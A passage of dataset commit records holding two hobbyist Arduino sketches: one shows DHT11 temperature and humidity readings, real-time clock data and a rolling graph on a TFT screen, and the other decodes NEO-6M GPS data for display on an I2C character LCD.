0;\n\/\/int Day = 0;\nint MemSecond = 0;\nint MemMinute = 0;\nint MemDay = 0;\n\n\/\/ int array per creazione grafico\n\/*\n * Ho dovuto usare degli interi, sia per limitare l'uso di memoria\n * che per ragioni pratiche di stampa del grafico tramite accensione\n * dei pixel dello schermo LCD\n *\/\nint ArrayTemperature[128];\nint ArrayHumidity[128];\nint CycleArray = 0; \/\/ Valori ciclici da 0 a 127\n\nvoid writeTextStatic() {\n \/\/ write the static text to the screen\n \/\/ set the font color to white\n TFTscreen.stroke(255, 255, 255);\n \/\/ set the font size\n TFTscreen.setTextSize(1);\n \/\/ write the text to the top left corner of the screen\n \/\/ write the text\n TFTscreen.text(\"Data Ora\\n \", 0, 0);\n \/\/ write the text\n TFTscreen.text(\"Umidita`\\n \", 0, 16);\n \/\/ write the text\n TFTscreen.text(\"Temperatura\\n \", 0, 32);\n}\n\nvoid print2digits(int number) {\n if (number >= 0 && number < 10)\n Serial.write('0');\n Serial.print(number);\n}\n\nvoid setup() {\n \/\/ Setup Serial connection\n Serial.begin(9600);\n\n \/\/ Setup serial ESP8266\n ESP.begin(115200);\n ESP.setTimeout(15000);\n \n Serial.println(\"DS1302RTC Read Test\");\n Serial.println(\"-------------------\");\n \n \/\/ Activate RTC module\n Serial.println(\"RTC module activated\");\n Serial.println();\n delay(500);\n \n if (RTC.haltRTC()) {\n Serial.println(\"The DS1302 is stopped. Please run the SetTime\");\n Serial.println(\"example to initialize the time and begin running.\");\n Serial.println();\n }\n if (!RTC.writeEN()) {\n Serial.println(\"The DS1302 is write protected. This normal.\");\n Serial.println();\n }\n \n \/\/delay(5000);\n\n \/\/ TFT\n \/\/ Put this line at the beginning of every sketch that uses the GLCD:\n TFTscreen.begin();\n\n \/\/ clear the screen with a black background\n TFTscreen.background(0, 0, 0);\n\n writeTextStatic();\n \n delay(2000);\n}\n\nvoid loop() {\n\n \/\/RTC\n tmElements_t tm;\n \n Serial.print(\"UNIX Time: \");\n Serial.print(RTC.get());\n\n if (! RTC.read(tm)) {\n Serial.print(\" Time = \");\n print2digits(tm.Hour);\n Serial.write(':');\n print2digits(tm.Minute);\n Serial.write(':');\n print2digits(tm.Second);\n Serial.print(\", Date (D\/M\/Y) = \");\n Serial.print(tm.Day);\n Serial.write('\/');\n Serial.print(tm.Month);\n Serial.write('\/');\n Serial.print(tmYearToCalendar(tm.Year));\n Serial.print(\", DoW = \");\n Serial.print(tm.Wday);\n Serial.println();\n } else {\n Serial.println(\"DS1302 read error! Please check the circuitry.\");\n Serial.println();\n delay(9000);\n }\n\n \/\/ DHT11\n \/\/ READ DATA\n Serial.print(\"DHT11, \\t\");\n int chk = DHT.read11(DHT11_PIN);\n switch (chk)\n {\n case DHTLIB_OK:\n Serial.print(\"OK,\\t\");\n break;\n case DHTLIB_ERROR_CHECKSUM:\n Serial.print(\"Checksum error,\\t\");\n break;\n case DHTLIB_ERROR_TIMEOUT:\n Serial.print(\"Time out error,\\t\");\n break;\n default:\n Serial.print(\"Unknown error,\\t\");\n break;\n }\n \/\/ DISPLAY DATA\n Temperature = DHT.temperature;\n Humidity = DHT.humidity;\n Serial.print(Humidity, 1);\n Serial.print(\",\\t\");\n Serial.println(Temperature, 1);\n\n \/\/ LCD\n \/\/ Read the value from DHT11\n String sensorValH = String(Humidity);\n String sensorValT = String(Temperature);\n \n \/\/ convert the reading to a char array\n sensorValH.toCharArray(SensorHPrintout, 6);\n sensorValT.toCharArray(SensorTPrintout, 6);\n \n \/\/ Read the value from\n \/\/ String DataValT = String(tmYearToCalendar(tm.Year) + tm.Month + tm.Day + tm.Hour + tm.Minute + tm.Second); CALCOLA INVECE DI CONCATENARE !\n String DataVal1 = String(tmYearToCalendar(tm.Year));\n String DataVal2 = String(DataVal1 + \"-\" + tm.Month);\n String DataValDay = String(DataVal2 + \"-\" + tm.Day);\n String DataVal3 = String(tm.Hour);\n String DataVal4 = String(DataVal3 + \":\" + tm.Minute);\n String DataValTime = String(DataVal4 + \":\" + tm.Second);\n int Second = tm.Second;\n DataValDay.toCharArray(DataPrintout, 11);\n DataValTime.toCharArray(TimePrintout, 9);\n \n \/\/ ste the font size for date\/time\n TFTscreen.setTextSize(1);\n\n \/\/ Date\/time\n \/*\n * Se valore e` diverso dalla memoria,\n * [ri]scrivo la memoria e poi il valore,\n * poi metto la memoria uguale al valore\n *\/\n if (tm.Day != MemDay) {\n \/\/ erase the text you just wrote\n TFTscreen.stroke(0, 0, 0);\n TFTscreen.text(MemDataPrintout, 0, 8);\n \/\/ set the font color\n TFTscreen.stroke(255, 255, 0);\n \/\/ print\n TFTscreen.text(DataPrintout, 0, 8);\n \/\/ Memorie\n MemDay = tm.Day;\n strcpy (MemDataPrintout, DataPrintout);\n }\n\n if (tm.Second != MemSecond) {\n \/\/ erase the text you just wrote\n TFTscreen.stroke(0, 0, 0);\n TFTscreen.text(MemTimePrintout, 66, 8);\n \/\/ set the font color\n TFTscreen.stroke(255, 255, 0);\n \/\/ print\n TFTscreen.text(TimePrintout, 66, 8);\n \/\/ Memorie\n MemSecond = tm.Second;\n strcpy (MemTimePrintout, TimePrintout);\n }\n\n \/\/ ste the font size for date\/time\n TFTscreen.setTextSize(2);\n\n \/\/ Humidity\n if (Humidity != MemHumidity) {\n \/\/ erase the text you just wrote\n TFTscreen.stroke(0, 0, 0);\n TFTscreen.text(MemSensorHPrintout, 66, 16);\n \/\/ set the font color\n TFTscreen.stroke(0, 255, 0);\n \/\/ print the sensor value\n TFTscreen.text(SensorHPrintout, 66, 16);\n MemHumidity = Humidity;\n strcpy (MemSensorHPrintout, SensorHPrintout);\n }\n\n \/\/ Temperature\n if (Temperature != MemTemperature) {\n \/\/ erase the text you just wrote\n TFTscreen.stroke(0, 0, 0);\n TFTscreen.text(MemSensorTPrintout, 66, 32);\n \/\/ set the font color\n TFTscreen.stroke(255, 0, 0);\n \/\/ print the sensor value\n TFTscreen.text(SensorTPrintout, 66, 32);\n ESP.println(SensorTPrintout); \/\/ ESP8266\n MemTemperature = Temperature;\n strcpy (MemSensorTPrintout, SensorTPrintout);\n }\n\n\n \/\/ Adesso ho messo SECONDI, solo per velocizzare i test\n \/\/if (Minute != MemMinute) {\n if (tm.Minute != MemMinute) {\n \/\/ Stampa array su LCD\n \/*\n * Stampa i 128 (come i pixel) valori di temperatura e umidita`,\n * creando un grafico.\n * Al solito, devo prima eliminare la scritta precedente \n * e poi mettere la nuova.\n *\/\n \/\/ Prima cancello le scritte\n TFTscreen.stroke(0, 0, 0);\n for (CycleArray = 127; CycleArray >= 0; CycleArray--) {\n TFTscreen.point(CycleArray, 127 - ArrayHumidity[CycleArray]);\n TFTscreen.point(CycleArray, 127 - ArrayTemperature[CycleArray]);\n }\n \/\/ Poi shifto e aggiorno con l'ultimo valore\n for (CycleArray = 0; CycleArray <= 126; CycleArray++) {\n ArrayHumidity[CycleArray] = ArrayHumidity[CycleArray+1];\n ArrayTemperature[CycleArray] = ArrayTemperature[CycleArray+1];\n }\n \/\/ Quando finisce e` al 127 e posso scrivere il dato nuovo\n ArrayHumidity[CycleArray] = Humidity;\n ArrayTemperature[CycleArray] = Temperature;\n MemMinute = tm.Minute;\n \/\/ Scrivo ..\n for (CycleArray = 127; CycleArray >= 0; CycleArray--) {\n TFTscreen.stroke(0, 255, 0);\n TFTscreen.point(CycleArray, 127 - ArrayHumidity[CycleArray]);\n TFTscreen.stroke(255, 0, 0);\n TFTscreen.point(CycleArray, 127 - ArrayTemperature[CycleArray]);\n }\n }\n\n\/*\n \/\/ Stampe a video (seriale) per verifiche\n Serial.print(\"\\n\"); \n Serial.print(DHT.humidity);\n Serial.print(\",\\t\");\n Serial.print(DHT.temperature);\n\n Serial.print(\"\\n\");\n Serial.print(sensorValH);\n Serial.print(\",\\t\");\n Serial.print(sensorValT);\n \n Serial.print(\"\\n\");\n Serial.print(SensorHPrintout);\n Serial.print(\",\\t\");\n Serial.print(SensorTPrintout);\n \n Serial.print(\"\\n\");\n Serial.print(MemSensorHPrintout);\n Serial.print(\",\\t\");\n Serial.print(MemSensorTPrintout);\n \n Serial.print(\"\\nHumidity, Temperature\\n\");\n Serial.print(Humidity);\n Serial.print(\",\\t\");\n Serial.print(Temperature);\n \n Serial.print(\"\\n\");\n Serial.print(MemHumidity);\n Serial.print(\",\\t\");\n Serial.print(MemTemperature);\n \n Serial.print(\"\\nDataValT, DataPrintout\\n\");\n Serial.print(DataValT);\n Serial.print(\",\\t\");\n Serial.print(DataPrintout);\n \n Serial.print(\"\\nSecond, Memory\\n\");\n Serial.print(Second);\n Serial.print(\",\\t\");\n Serial.print(MemSecond);\n Serial.print(\"\\n\");\n\n Serial.print(\"\\nLarghezza, Altezza\\n\");\n Serial.print(TFTscreen.width());\n Serial.print(\",\\t\");\n Serial.print(TFTscreen.height());\n Serial.print(\"\\n\");\n \n Serial.print(\"\\nMinuti,\\n\");\n Serial.print(tm.Minute);\n Serial.print(\",\\t\");\n Serial.print(MemMinute);\n Serial.print(\",\\t\");\n Serial.print(CycleArray);\n Serial.print(\"\\n\");\n \n Serial.print(\"\\nArray ...\\n\");\n int i;\n for (i = 0; i < 128; i = i + 1) {\n Serial.print(ArrayTemperature[i]);\n Serial.print(\",\");\n }\n Serial.print(\"\\n\");\n \/\/int i;\n for (i = 0; i < 128; i = i + 1) {\n Serial.print(ArrayHumidity[i]);\n Serial.print(\",\");\n }\n Serial.print(\"\\n\");\n\n \/*\n TFTscreen.stroke(255, 0, 0);\n \/\/ draw a pixel in the screen's center\n TFTscreen.point(TFTscreen.width()\/2, TFTscreen.height()\/2);\n TFTscreen.point(64, 64);\n TFTscreen.point(65, 65);\n TFTscreen.point(66, 66);\n *\/\n \n \/*\n * Mi sa che i delay serva per la stabilita` delle letture\n * Cerco di tenerlo il piu` basso possibile, a 200 funziona, metto 300 per sicurezza\n *\/\n delay(300);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/PortableTHLE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22544d73821ed090a2edad86bb3eb70a221d3a8e","subject":"v1.0 Initial release","message":"v1.0 Initial release","repos":"Grommet123\/GPSLCD,Grommet123\/GPSLCD","old_file":"GPSLCD.ino","new_file":"GPSLCD.ino","new_contents":"\/* GPS LCD\n\n By GK Grotsky\n 8\/30\/16\n\n This program communicate with the u-blox NEO-6M GPS module\n through a software serial interface. It then displays certain GPS\n parameters on a I2C 16x2 (or 20x4) character LCD display module. The\n GPS messages are received by the on-board Arduino UART circuit using\n the SoftwareSerial library. It then uses the TinyGPS++ library to\n decode the GPS NMEA messages. The parameters are then displayed on a\n 16x4 (or 20x4) LCD using the LiquidCrystal_I2C library.\n\n Note: Both the 16x2 and 20x4 LCDs are supported as these are the most popular\n LCDs available.\n*\/\n#include \"GPSLCD.h\"\n#include <TinyGPS++.h>\n#include <SoftwareSerial.h>\n#include <LiquidCrystal_I2C.h>\n\nTinyGPSPlus gps; \/\/ This is the GPS object that will pretty much do all the grunt work with the NMEA data\nSoftwareSerial GPSModule(10, 11); \/\/ RX, TX\nLiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin, D4_pin, D5_pin, D6_pin, D7_pin); \/\/ Initializes class variables and defines the I2C address of the LCD\nbool dataValid; \/\/ Data is valid from the GPS module\nGPSStruct GPSData; \/\/ Holds the GPS data coming from the GPS module\n\n\/\/ The setup (runs once at start up)\nvoid setup()\n{\n pinMode(BACKLIGHT_SW, INPUT);\n\n#ifdef _16x2\n \/\/ Selects either speed or heading to be displayed\n pinMode(SPEED_ALTITUDE_SW, INPUT);\n#else\n \/\/ Selects either altitude or the date\/time to be displayed\n pinMode(ALTITUDE_DATE_TIME_SW, INPUT);\n#endif\n\n#ifdef DEBUG\n Serial.begin(9600); \/\/ This opens up communications to the serial monitor in the Arduino IDE\n Serial.flush();\n#endif\n GPSModule.begin(9600); \/\/ This opens up communications to the software serial tx and rx lines\n GPSModule.flush();\n\n lcd.begin (COLUMN, ROW); \/\/ Defines LCD type\n lcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE); \/\/ Sets the pin to control the backlight\n lcd.clear(); \/\/ Clear the LCD\n lcd.home (); \/\/ Go to the home position on the LCD\n} \/\/ setup\n\n\/\/ The loop (runs forever and a day :-))\nvoid loop()\n{\n static uint32_t pastSatellites = 0;\n static byte initializingCounter = 0;\n static unsigned long prevInitializationTime = INITIALIZATION_INTERVAL;\n static unsigned long prevCreditTime = TOGGLETIME_INTERVAL;\n static unsigned long prevInvalidSatellitesTime = TOGGLETIME_INTERVAL;\n static bool leftInitialization = false;\n static bool creditToggle = true;\n static bool InvalidSatellitesToggle = true;\n#ifndef _16x2\n static unsigned long prevDateTime = TOGGLETIME_INTERVAL;\n static unsigned long prevHeadingTime = TOGGLETIME_INTERVAL;\n static bool dateTimeToggle = true;\n static bool headingToggle = true;\n#endif\n#ifdef DEBUG\n static unsigned long prevDebugTime = 0;\n#endif\n#ifdef DATA_VALID_OVERRIDE\n const bool dataValidOverride = true; \/\/ Set true to override data valid for debugging\n#else\n const bool dataValidOverride = false; \/\/ Set false not to override data valid\n#endif\n#ifdef BACKLIGHT_OVERRIDE\n \/\/ Override LCD backlight switch\n \/\/ Force LCD backlight on\/off\n lcd.setBacklight(BACKLIGHT_ONOFF);\n#else\n \/\/ Turn LCD backlight on\/off\n lcd.setBacklight(digitalRead(BACKLIGHT_SW));\n#endif\n unsigned long now = millis();\n\n while (GPSModule.available()) \/\/ While there are characters to come from the GPS\n {\n bool b = gps.encode(GPSModule.read()); \/\/ This feeds the serial NMEA data into the GPS library one char at a time\n }\n\n \/\/ Get the GPS data valid flags\n dataValid =\n gps.location.isValid() &&\n gps.speed.isValid() &&\n gps.altitude.isValid() &&\n gps.course.isValid() &&\n gps.date.isValid() &&\n gps.time.isValid() &&\n gps.satellites.isValid();\n\n \/\/ Check if the GPS data is valid or data valid override is set (for debugging)\n if (dataValid || dataValidOverride) {\n#ifndef DATA_VALID_OVERRIDE\n \/\/ Store the real GPS data\n GPSData.satellites = gps.satellites.value();\n GPSData.lat = gps.location.lat();\n GPSData.lon = gps.location.lng();\n GPSData.speed = gps.speed.mph();\n GPSData.altitude = gps.altitude.feet();\n#ifndef _16x2\n GPSData.heading = gps.course.deg();\n GPSData.year = gps.date.year();\n GPSData.month = gps.date.month();\n GPSData.day = gps.date.day();\n GPSData.hour = gps.time.hour();\n GPSData.minute = gps.time.minute();\n GPSData.second = gps.time.second();\n#endif \/\/ #ifndef _16x2\n#else \/\/ #ifndef DATA_VALID_OVERRIDE\n \/\/ Store the fake GPS data (for debugging)\n GPSData.satellites = 0; \/\/ Invalid satellites\n GPSData.lat = 39.16d; \/\/ East coast\n GPSData.lon = -77.07d; \/\/ \"\n GPSData.speed = 55.0d;\n GPSData.altitude = 555.0d;\n#ifndef _16x2\n GPSData.heading = 60.0d; \/\/ ENE or NE (16 cardinal point or 8 cardinal point)\n GPSData.year = 2016;\n GPSData.month = 11; \/\/ Day before ST starts\n GPSData.day = 5; \/\/ \"\n GPSData.hour = 23; \/\/ 7pm my local time\n GPSData.minute = 10;\n GPSData.second = 25;\n#endif \/\/ #ifndef _16x2\n#endif \/\/ #ifndef DATA_VALID_OVERRIDE\n \/\/ Clear the screen once when leaving initialization\n if (!leftInitialization) {\n leftInitialization = true;\n lcd.clear(); \/\/ Clear the LCD\n }\n \/\/ Display the latest info from the gps object which it derived from the data sent by the GPS unit\n \/\/ Send data to the LCD\n#ifdef _16x2 \/\/------------------------------------------------------\n lcd.home (); \/\/ Go to 1st line\n lcd.print(\"Lat: \");\n lcd.print(GPSData.lat);\n lcd.setCursor (11, 0);\n lcd.print(\"SV:\");\n if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0)) {\n pastSatellites = GPSData.satellites;\n if (GPSData.satellites == 0) {\n \/\/ Toggle invalid satellites indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL \/ 4) {\n prevInvalidSatellitesTime = now;\n if (InvalidSatellitesToggle) {\n InvalidSatellitesToggle = false;\n lcd.print(\"XX\");\n }\n else {\n InvalidSatellitesToggle = true;\n lcd.print(\" \");\n } \/\/ if (InvalidSatellitesToggle)\n } \/\/ if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.satellites == 0)\n else if (GPSData.satellites <= 9) {\n lcd.print(\" \"); \/\/ Blank leading char\n lcd.print(GPSData.satellites);\n }\n else {\n lcd.print(GPSData.satellites);\n }\n } \/\/ if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0))\n lcd.setCursor (0, 1); \/\/ Go to 2nd line\n lcd.print(\"Lon: \");\n lcd.print(GPSData.lon);\n if ((digitalRead(SPEED_ALTITUDE_SW))) {\n lcd.setCursor (12, 1);\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n lcd.print((int)GPSData.speed);\n lcd.print(\" \"); \/\/ Clear the extra char\n }\n }\n else {\n lcd.print(\" \"); \/\/ Clear the extra chars\n if (GPSData.altitude <= 99.9) {\n lcd.setCursor (14, 1);\n }\n else {\n lcd.setCursor (13, 1);\n }\n lcd.print((int)GPSData.altitude); \/\/ Altitude\n \/\/ Toggle credit every TOGGLETIME_INTERVAL seconds\n if (now - prevCreditTime > (TOGGLETIME_INTERVAL \/ 2)) {\n prevCreditTime = now;\n if (creditToggle) { \/\/ Display credit\n creditToggle = false;\n lcd.print(\" \"); \/\/ Clear the extra chars\n lcd.print(CREDIT); \/\/ Yours truly :-)\n }\n else {\n creditToggle = true;\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n } \/\/ if (now - prevCreditTime > TOGGLETIME_INTERVAL)\n } \/\/ if ((digitalRead(SPEED_ALTITUDE_SW)))\n#else \/\/ 20x4 ----------------------------------------------------\n lcd.home (); \/\/ Go to 1st line\n lcd.print(\"Lat: \");\n lcd.print(GPSData.lat);\n lcd.setCursor (15, 0);\n lcd.print(\"SV:\");\n if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0)) {\n pastSatellites = GPSData.satellites;\n if (GPSData.satellites == 0) {\n \/\/ Toggle invalid satellites indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL \/ 3) {\n prevInvalidSatellitesTime = now;\n if (InvalidSatellitesToggle) {\n InvalidSatellitesToggle = false;\n lcd.print(\"XX\");\n }\n else {\n InvalidSatellitesToggle = true;\n lcd.print(\" \");\n } \/\/ if (InvalidSatellitesToggle)\n } \/\/ if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.satellites == 0)\n else if (GPSData.satellites <= 9) {\n lcd.print(\" \"); \/\/ Blank leading char\n lcd.print(GPSData.satellites);\n }\n else {\n lcd.print(GPSData.satellites);\n }\n } \/\/ if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0))\n lcd.setCursor (0, 1); \/\/ Go to 2nd line\n lcd.print(\"Lon: \");\n lcd.print(GPSData.lon);\n#ifndef CONVERT_TO_LOCAL\n \/\/ Only display if time\/date is selected\n if (!(digitalRead(ALTITUDE_DATE_TIME_SW))) {\n lcd.print(\" \"); \/\/ Clear the extra chars\n uint8_t DOW = dayOfWeek(GPSData.year, GPSData.month, GPSData.day);\n if (IsDST(GPSData.day, GPSData.month, DOW)) {\n lcd.print(\"DST\");\n }\n else {\n lcd.print(\" ST\");\n }\n }\n else {\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n lcd.setCursor (0, 2); \/\/ Go to 3rd line\n lcd.print(\"Spd: \");\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n lcd.print((int)GPSData.speed);\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n lcd.setCursor (12, 2);\n lcd.print(\"Hdg: \");\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n \/\/ Toggle heading every TOGGLETIME_INTERVAL seconds\n if (now - prevHeadingTime > TOGGLETIME_INTERVAL) {\n prevHeadingTime = now;\n if (headingToggle) { \/\/ Display cardinal heading\n headingToggle = false;\n lcd.print(cardinal(GPSData.heading));\n }\n else { \/\/ Display degrees heading\n headingToggle = true;\n lcd.print((int)GPSData.heading);\n if (GPSData.heading <= 99.9) lcd.print(\" \"); \/\/ Clear the extra char\n } \/\/ if (headingToggle)\n } \/\/ if (now - prevHeadingTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.speed < SPEED_CUTOUT)\n lcd.setCursor (0, 3); \/\/ Go to 4th line\n if ((digitalRead(ALTITUDE_DATE_TIME_SW))) {\n lcd.print(\"Alt: \");\n lcd.print((int)GPSData.altitude);\n \/\/ Toggle credit every TOGGLETIME_INTERVAL seconds\n if (now - prevCreditTime > (TOGGLETIME_INTERVAL \/ 2)) {\n prevCreditTime = now;\n if (creditToggle) { \/\/ Display credit\n creditToggle = false;\n lcd.print(\" \"); \/\/ Clear the extra chars\n lcd.print(CREDIT); \/\/ Yours truly :-)\n }\n else {\n creditToggle = true;\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n } \/\/ if (now - prevCreditTime > TOGGLETIME_INTERVAL)\n prevDateTime = TOGGLETIME_INTERVAL;\n dateTimeToggle = true; \/\/ Default first to display date\n } \/\/ if ((digitalRead(ALTITUDE_DATE_TIME_SW)))\n else {\n \/\/ Toggle date\/time every TOGGLETIME_INTERVAL seconds\n if (now - prevDateTime > TOGGLETIME_INTERVAL) {\n prevDateTime = now;\n if (dateTimeToggle) {\n \/\/ Display date\n dateTimeToggle = false;\n lcd.print(\"Date: \");\n uint8_t hour = GPSData.hour;\n uint8_t day = GPSData.day;\n uint8_t month = GPSData.month;\n uint16_t year = GPSData.year;\n#ifdef CONVERT_TO_LOCAL\n \/\/ Convert UTC date to local date\n bool DST = convertToLocal (&hour, &year, &month,\n &day, GPSData.lon, true); \/\/ true means date conversion\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n if (month < 10) lcd.print(\"0\");\n lcd.print(month);\n lcd.print(\"\/\");\n if (day < 10) lcd.print(\"0\");\n lcd.print(day);\n lcd.print(\"\/\");\n lcd.print(year);\n printDay (dayOfWeek (year, month, day));\n } \/\/ if (dateTimeToggle)\n else {\n \/\/ Display time\n dateTimeToggle = true;\n lcd.print(\"Time: \");\n uint8_t hour = GPSData.hour;\n uint8_t day = GPSData.day;\n uint8_t month = GPSData.month;\n uint16_t year = GPSData.year;\n#ifdef CONVERT_TO_LOCAL\n \/\/ Convert UTC time to local time (no need to convert the date)\n bool DST = convertToLocal (&hour, &year, &month,\n &day, GPSData.lon, false); \/\/ false means no date conversion\n#else \/\/ #ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n if (hour == 0) { \/\/ 12 hour clocks don't display 0\n hour = 12;\n }\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n char AMPM[] = \"am\";\n if (hour >= 12) { \/\/ Convert to 12 hour format\n if (hour > 12) hour -= 12;\n strcpy (AMPM, \"pm\");\n }\n#endif\n if (hour < 10) lcd.print(\"0\");\n lcd.print(hour);\n lcd.print(\":\");\n if (GPSData.minute < 10) lcd.print(\"0\");\n lcd.print(GPSData.minute);\n lcd.print(\":\");\n if (GPSData.second < 10) lcd.print(\"0\");\n lcd.print(GPSData.second);\n#ifdef DISPLAY_12_HOUR\n lcd.print(AMPM);\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n (DST) ? lcd.print(\" DST\") : lcd.print(\" ST\");\n#else \/\/ #ifdef DISPLAY_12_HOUR\n (DST) ? lcd.print(\" DST\") : lcd.print(\" ST\");\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n#ifndef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n lcd.print(\" UTC\");\n#else \/\/ #ifdef DISPLAY_12_HOUR\n lcd.print(\" UTC\");\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n } \/\/ if (dateTimeToggle)\n } \/\/ if (now - prevDateTime > TOGGLETIME_INTERVAL)\n } \/\/ if ((digitalRead(ALTITUDE_DATE_TIME_SW)))\n#endif \/\/------------------------------------------------------------\n } \/\/ if (dataValid)\n else {\n \/\/ GPS data is not valid, so it must be initializing\n#ifdef _16x2 \/\/------------------------------------------------------\n \/\/ Display initialization screen once every INITIALIZATION_INTERVAL\n if (now - prevInitializationTime > INITIALIZATION_INTERVAL) {\n prevInitializationTime = now;\n lcd.setCursor (6, 0); \/\/ Go to 1st line\n lcd.print(\"GPS\");\n lcd.setCursor (11, 0);\n lcd.print(\"v\");\n lcd.print(VERSION);\n lcd.setCursor (2, 1); \/\/ Go to 2nd line\n lcd.print(\"Initializing\");\n lcd.setCursor (15, 1);\n if (++initializingCounter > 9) initializingCounter = 1; \/\/ Limit 1 - 9\n lcd.print(initializingCounter);\n leftInitialization = false;\n }\n#else \/\/ 20x4 -------------------------------------------------------\n \/\/ Display initialization screen once every INITIALIZATION_INTERVAL\n if (now - prevInitializationTime > INITIALIZATION_INTERVAL) {\n prevInitializationTime = now;\n lcd.setCursor (8, 0); \/\/ Go to 1st line\n lcd.print(\"GPS\");\n lcd.setCursor (14, 0);\n lcd.print(\"v\");\n lcd.print(VERSION);\n lcd.setCursor (4, 1); \/\/ Go to 2nd line\n lcd.print(\"Initializing\");\n lcd.setCursor (6, 2); \/\/ Go to 3rd line\n lcd.print(\"Data Not\");\n lcd.setCursor (7, 3); \/\/ Go to 4th line\n lcd.print(\"Valid\");\n lcd.setCursor (19, 3);\n if (++initializingCounter > 9) initializingCounter = 1; \/\/ Limit 1 - 9\n lcd.print(initializingCounter);\n leftInitialization = false;\n }\n#endif \/\/------------------------------------------------------------\n } \/\/ GPS data is not valid\n#ifdef DEBUG\n \/\/ Display debug info to the serial monitor (if DEBUG is enabled)\n \/\/ Display debug data once every DEBUG_INTERVAL\n if (now - prevDebugTime > DEBUG_INTERVAL) {\n prevDebugTime = now;\n displayDebugData();\n }\n#endif \/\/ #ifdef DEBUG\n} \/\/ loop\n\n#ifndef _16x2\n\/* Helper functions start here\n\n Ripped off from Electrical Engineering Stack Exchange\n http:\/\/electronics.stackexchange.com\/questions\/66285\/how-to-calculate-day-of-the-week-for-rtc\n ------------------------------------------------------------\n Returns the number of days to the start of the specified year, taking leap\n years into account, but not the shift from the Julian calendar to the\n Gregorian calendar. Instead, it is as though the Gregorian calendar is\n extrapolated back in time to a hypothetical \"year zero\".\n*\/\nuint16_t leap (uint16_t year)\n{\n return year * 365 + (year \/ 4) - (year \/ 100) + (year \/ 400);\n}\n\/* Returns a number representing the number of days since March 1 in the\n hypothetical year 0, not counting the change from the Julian calendar\n to the Gregorian calendar that occurred in the 16th century. This\n algorithm is loosely based on a function known as \"Zeller's Congruence\".\n This number MOD 7 gives the day of week, where 0 = Monday and 6 = Sunday.\n*\/\nuint16_t zeller (uint16_t year, uint8_t month, uint8_t day)\n{\n year += ((month + 9) \/ 12) - 1;\n month = (month + 9) % 12;\n return leap (year) + month * 30 + ((6 * month + 5) \/ 10) + day + 1;\n}\n\n\/\/ Returns the day of week for a given date.\nuint8_t dayOfWeek (uint16_t year, uint8_t month, uint8_t day)\n{\n return (zeller (year, month, day) % 7) + 1;\n}\n\/\/----------------------------------------------------------\n\n\/\/ Print the day of the week on the LCD\nvoid printDay(uint8_t day)\n{\n if (day == 7) day = 0;\n switch (day)\n {\n case 0: lcd.print(\" Mon\"); break;\n case 1: lcd.print(\" Tue\"); break;\n case 2: lcd.print(\" Wed\"); break;\n case 3: lcd.print(\" Thu\"); break;\n case 4: lcd.print(\" Fri\"); break;\n case 5: lcd.print(\" Sat\"); break;\n case 6: lcd.print(\" Sun\"); break;\n default: lcd.print(\" Err\");\n }\n}\n\n\/\/ Compute the cardinal points of the compass\nconst char* cardinal(double course)\n{\n#ifdef _16CARDINAL\n const char* directions[] = {\"N \", \"NNE\", \"NE \", \"ENE\", \"E \", \"ESE\", \"SE \", \"SSE\",\n \"S \", \"SSW\", \"SW \", \"WSW\", \"W \", \"WNW\", \"NW \", \"NNW\"\n };\n#else\n const char* directions[] = {\"N \", \"N \", \"NE \", \"NE \", \"E \", \"E \", \"SE \", \"SE \",\n \"S \", \"S \", \"SW \", \"SW \", \"W \", \"W \", \"NW \", \"NW \"\n };\n#endif \/\/ #ifdef _16CARDINAL\n uint8_t direction = (uint8_t)((course + 11.25d) \/ 22.5d);\n return directions[direction % 16];\n}\n\n\/* Ripped off from Stackoverflow\n http:\/\/stackoverflow.com\/questions\/5590429\/calculating-daylight-saving-time-from-only-date\n\n Check to see if it's Daylight Savings Time (DST)\n*\/\nbool IsDST(uint8_t day, uint8_t month , uint8_t DOW)\n{\n \/\/ Make Day of Week (DOW) match with what Stackoverflow suggests\n \/\/ for DOW (Sunday = 0 to Saturday = 6)\n switch (DOW)\n {\n case 6: DOW = 0; break; \/\/ Sun\n case 7: DOW = 1; break; \/\/ Mon\n case 1: DOW = 2; break; \/\/ Tue\n case 2: DOW = 3; break; \/\/ Wed\n case 3: DOW = 4; break; \/\/ Thu\n case 4: DOW = 5; break; \/\/ Fri\n case 5: DOW = 6; break; \/\/ Sat\n default: break;\n }\n \/\/ January, February, and December are out\n if (month < 3 || month > 11) {\n return false;\n }\n 